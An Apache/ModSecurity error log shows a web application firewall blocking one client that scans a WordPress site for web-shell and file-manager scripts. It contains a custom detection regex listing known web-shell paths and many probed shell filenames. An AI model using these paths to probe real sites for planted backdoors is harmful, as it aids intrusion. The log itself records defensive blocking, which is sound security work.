[Tue Feb 24 22:28:00.650856 2026] [proxy_fcgi:error] [pid 40456:tid 40490] [client 68.221.137.35:4718] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:28:00.893670 2026] [proxy_fcgi:error] [pid 40456:tid 40496] [client 68.221.137.35:4718] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:28:01.288699 2026] [proxy_fcgi:error] [pid 40456:tid 40511] [client 68.221.137.35:4718] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:28:01.539548 2026] [proxy_fcgi:error] [pid 40456:tid 40497] [client 68.221.137.35:4718] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:28:01.782766 2026] [proxy_fcgi:error] [pid 40456:tid 40487] [client 68.221.137.35:4718] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:28:02.025795 2026] [proxy_fcgi:error] [pid 40456:tid 40503] [client 68.221.137.35:4718] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:28:02.272972 2026] [:error] [pid 40456:tid 40507] [client 68.221.137.35:4718] [client 68.221.137.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aZ21cuP0ojUS1IXv0AXLIgAAAZQ"]
[Tue Feb 24 22:28:02.834445 2026] [:error] [pid 40456:tid 40493] [client 68.221.137.35:24009] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/get.php"] [unique_id "aZ21cuP0ojUS1IXv0AXLJQAAAYY"]
[Tue Feb 24 22:28:03.763270 2026] [:error] [pid 37884:tid 37903] [client 68.221.137.35:32514] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/get.php"] [unique_id "aZ21c_08KJo-7FmKlnBYGgAAA08"]
[Tue Feb 24 22:28:04.482549 2026] [:error] [pid 37918:tid 37924] [client 68.221.137.35:3226] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/get.php"] [unique_id "aZ21dDB7WIlOit9GZHhHzwAAA4A"]
[Tue Feb 24 22:28:05.164963 2026] [:error] [pid 40455:tid 40477] [client 68.221.137.35:4714] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kill-9-1.php"] [unique_id "aZ21dVw13ca9RV2qrBmGwgAAAVE"]
[Tue Feb 24 22:28:06.105726 2026] [:error] [pid 40394:tid 40447] [client 68.221.137.35:5333] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kill-9-1.php"] [unique_id "aZ21duDlibHIQ-y0MaSBWwAAAJQ"]
[Tue Feb 24 22:28:06.726783 2026] [:error] [pid 35061:tid 35082] [client 68.221.137.35:3961] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kill-9-1.php"] [unique_id "aZ21diTtNYeQS_BngHwCTQAAAQ8"]
[Tue Feb 24 22:28:07.646101 2026] [:error] [pid 40456:tid 40494] [client 68.221.137.35:4675] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kill-9-1.php"] [unique_id "aZ21d-P0ojUS1IXv0AXLOQAAAYc"]
[Tue Feb 24 22:28:08.866604 2026] [:error] [pid 40456:tid 40505] [client 68.221.137.35:24034] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tcp.php"] [unique_id "aZ21eOP0ojUS1IXv0AXLQwAAAZI"]
[Tue Feb 24 22:28:09.676197 2026] [:error] [pid 40456:tid 40504] [client 68.221.137.35:3107] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tcp.php"] [unique_id "aZ21eeP0ojUS1IXv0AXLRgAAAZE"]
[Tue Feb 24 22:28:10.648506 2026] [:error] [pid 40456:tid 40508] [client 68.221.137.35:2517] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tcp.php"] [unique_id "aZ21euP0ojUS1IXv0AXLSwAAAZU"]
[Tue Feb 24 22:28:11.934488 2026] [:error] [pid 40455:tid 40463] [client 68.221.137.35:24021] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tcp.php"] [unique_id "aZ21e1w13ca9RV2qrBmG5gAAAUM"]
[Tue Feb 24 22:28:13.086374 2026] [:error] [pid 40455:tid 40478] [client 68.221.137.35:28396] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zt2.php"] [unique_id "aZ21fVw13ca9RV2qrBmG6wAAAVI"]
[Tue Feb 24 22:28:13.723152 2026] [:error] [pid 40455:tid 40472] [client 68.221.137.35:24039] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zt2.php"] [unique_id "aZ21fVw13ca9RV2qrBmG7wAAAUw"]
[Tue Feb 24 22:28:14.363115 2026] [:error] [pid 34018:tid 34047] [client 68.221.137.35:28386] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zt2.php"] [unique_id "aZ21fhGkEvccktzDf_itGAAAAMM"]
[Tue Feb 24 22:28:15.127012 2026] [:error] [pid 40455:tid 40461] [client 68.221.137.35:6621] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zt2.php"] [unique_id "aZ21f1w13ca9RV2qrBmG8QAAAUE"]
[Tue Feb 24 22:28:15.816467 2026] [:error] [pid 40456:tid 40504] [client 68.221.137.35:3101] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc.php"] [unique_id "aZ21f-P0ojUS1IXv0AXLUwAAAZE"]
[Tue Feb 24 22:28:16.543198 2026] [:error] [pid 34018:tid 34053] [client 68.221.137.35:7264] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc.php"] [unique_id "aZ21gBGkEvccktzDf_itGQAAAMk"]
[Tue Feb 24 22:28:17.471473 2026] [:error] [pid 40456:tid 40498] [client 68.221.137.35:4723] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc.php"] [unique_id "aZ21geP0ojUS1IXv0AXLVgAAAYs"]
[Tue Feb 24 22:28:18.325935 2026] [:error] [pid 34018:tid 34062] [client 68.221.137.35:6637] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc.php"] [unique_id "aZ21ghGkEvccktzDf_itHAAAANI"]
[Tue Feb 24 22:28:19.037222 2026] [:error] [pid 40394:tid 40451] [client 68.221.137.35:11928] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aZ21g-DlibHIQ-y0MaSBYgAAAJg"]
[Tue Feb 24 22:28:19.739261 2026] [:error] [pid 40394:tid 40445] [client 68.221.137.35:8305] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aZ21g-DlibHIQ-y0MaSBYwAAAJI"]
[Tue Feb 24 22:28:20.456228 2026] [:error] [pid 40393:tid 40406] [client 68.221.137.35:4688] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aZ21hLDZWhNc1DniCm3WtQAAAEc"]
[Tue Feb 24 22:28:21.501780 2026] [:error] [pid 40394:tid 40444] [client 68.221.137.35:7265] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aZ21heDlibHIQ-y0MaSBZAAAAJE"]
[Tue Feb 24 22:28:22.212115 2026] [:error] [pid 40394:tid 40432] [client 68.221.137.35:8518] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rsnu.php"] [unique_id "aZ21huDlibHIQ-y0MaSBZQAAAIU"]
[Tue Feb 24 22:28:22.874241 2026] [:error] [pid 40456:tid 40505] [client 68.221.137.35:2527] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rsnu.php"] [unique_id "aZ21huP0ojUS1IXv0AXLWgAAAZI"]
[Tue Feb 24 22:28:23.665658 2026] [:error] [pid 40455:tid 40473] [client 68.221.137.35:2554] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rsnu.php"] [unique_id "aZ21h1w13ca9RV2qrBmG-wAAAU0"]
[Tue Feb 24 22:28:24.714584 2026] [:error] [pid 37715:tid 37718] [client 68.221.137.35:2539] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rsnu.php"] [unique_id "aZ21iEIBAxg--xL5ughapgAAAgE"]
[Tue Feb 24 22:28:25.906932 2026] [:error] [pid 37715:tid 37724] [client 68.221.137.35:32251] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trd.php"] [unique_id "aZ21iUIBAxg--xL5ughaqQAAAgc"]
[Tue Feb 24 22:28:26.809986 2026] [:error] [pid 40393:tid 40421] [client 68.221.137.35:8548] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trd.php"] [unique_id "aZ21irDZWhNc1DniCm3WuQAAAFY"]
[Tue Feb 24 22:28:27.488252 2026] [:error] [pid 40455:tid 40470] [client 68.221.137.35:6640] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trd.php"] [unique_id "aZ21i1w13ca9RV2qrBmHAgAAAUo"]
[Tue Feb 24 22:28:28.082035 2026] [:error] [pid 35061:tid 35081] [client 68.221.137.35:9642] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trd.php"] [unique_id "aZ21jCTtNYeQS_BngHwCWgAAAQ4"]
[Tue Feb 24 22:28:28.773734 2026] [:error] [pid 40393:tid 40403] [client 68.221.137.35:7257] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd67.php"] [unique_id "aZ21jLDZWhNc1DniCm3WuwAAAEQ"]
[Tue Feb 24 22:28:29.635259 2026] [:error] [pid 34018:tid 34060] [client 68.221.137.35:9928] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd67.php"] [unique_id "aZ21jRGkEvccktzDf_itHgAAANA"]
[Tue Feb 24 22:28:30.374698 2026] [:error] [pid 40394:tid 40442] [client 68.221.137.35:9939] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd67.php"] [unique_id "aZ21juDlibHIQ-y0MaSBaQAAAI8"]
[Tue Feb 24 22:28:31.352328 2026] [:error] [pid 40456:tid 40487] [client 68.221.137.35:7245] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd67.php"] [unique_id "aZ21j-P0ojUS1IXv0AXLWwAAAYA"]
[Tue Feb 24 22:28:32.077358 2026] [:error] [pid 40455:tid 40469] [client 68.221.137.35:2520] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mo.php"] [unique_id "aZ21kFw13ca9RV2qrBmHBAAAAUk"]
[Tue Feb 24 22:28:32.678021 2026] [:error] [pid 37884:tid 37892] [client 68.221.137.35:8516] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mo.php"] [unique_id "aZ21kP08KJo-7FmKlnBYHwAAA0Q"]
[Tue Feb 24 22:28:33.485132 2026] [:error] [pid 34018:tid 34054] [client 68.221.137.35:9979] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mo.php"] [unique_id "aZ21kRGkEvccktzDf_itHwAAAMo"]
[Tue Feb 24 22:28:34.209280 2026] [:error] [pid 40393:tid 40408] [client 68.221.137.35:1109] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mo.php"] [unique_id "aZ21krDZWhNc1DniCm3WvgAAAEk"]
[Tue Feb 24 22:28:35.362997 2026] [:error] [pid 40394:tid 40433] [client 68.221.137.35:4294] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aZ21k-DlibHIQ-y0MaSBbgAAAIY"]
[Tue Feb 24 22:28:36.042804 2026] [:error] [pid 40394:tid 40440] [client 68.221.137.35:8277] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aZ21lODlibHIQ-y0MaSBcAAAAI0"]
[Tue Feb 24 22:28:37.274736 2026] [:error] [pid 34018:tid 34059] [client 68.221.137.35:9974] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aZ21lRGkEvccktzDf_itIQAAAM8"]
[Tue Feb 24 22:28:37.810082 2026] [:error] [pid 40455:tid 40468] [client 68.221.137.35:7234] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aZ21lVw13ca9RV2qrBmHCgAAAUg"]
[Tue Feb 24 22:28:38.665014 2026] [:error] [pid 40455:tid 40481] [client 68.221.137.35:9655] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nxx.php"] [unique_id "aZ21llw13ca9RV2qrBmHCwAAAVU"]
[Tue Feb 24 22:28:40.629710 2026] [:error] [pid 37784:tid 37787] [client 68.221.137.35:9660] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nxx.php"] [unique_id "aZ21mBhsjFGJ0bR81bdvsAAAAoE"]
[Tue Feb 24 22:28:42.945336 2026] [:error] [pid 37918:tid 37931] [client 68.221.137.35:1452] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nxx.php"] [unique_id "aZ21mjB7WIlOit9GZHhH0wAAA4c"]
[Tue Feb 24 22:28:43.641897 2026] [:error] [pid 40455:tid 40461] [client 68.221.137.35:5058] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nxx.php"] [unique_id "aZ21m1w13ca9RV2qrBmHDAAAAUE"]
[Tue Feb 24 22:28:44.301445 2026] [:error] [pid 37784:tid 37793] [client 68.221.137.35:9362] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w3llstore.php"] [unique_id "aZ21nBhsjFGJ0bR81bdvsgAAAoc"]
[Tue Feb 24 22:28:44.834336 2026] [:error] [pid 37715:tid 37723] [client 68.221.137.35:35411] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w3llstore.php"] [unique_id "aZ21nEIBAxg--xL5ughatQAAAgY"]
[Tue Feb 24 22:28:45.379344 2026] [:error] [pid 37784:tid 37806] [client 68.221.137.35:4353] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w3llstore.php"] [unique_id "aZ21nRhsjFGJ0bR81bdvswAAApQ"]
[Tue Feb 24 22:28:45.937741 2026] [:error] [pid 40393:tid 40399] [client 68.221.137.35:1446] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w3llstore.php"] [unique_id "aZ21nbDZWhNc1DniCm3WwAAAAEA"]
[Tue Feb 24 22:28:46.779649 2026] [:error] [pid 40455:tid 40466] [client 68.221.137.35:31666] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reyna.php"] [unique_id "aZ21nlw13ca9RV2qrBmHEAAAAUY"]
[Tue Feb 24 22:28:47.326292 2026] [:error] [pid 37784:tid 37801] [client 68.221.137.35:4387] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reyna.php"] [unique_id "aZ21nxhsjFGJ0bR81bdvtQAAAo8"]
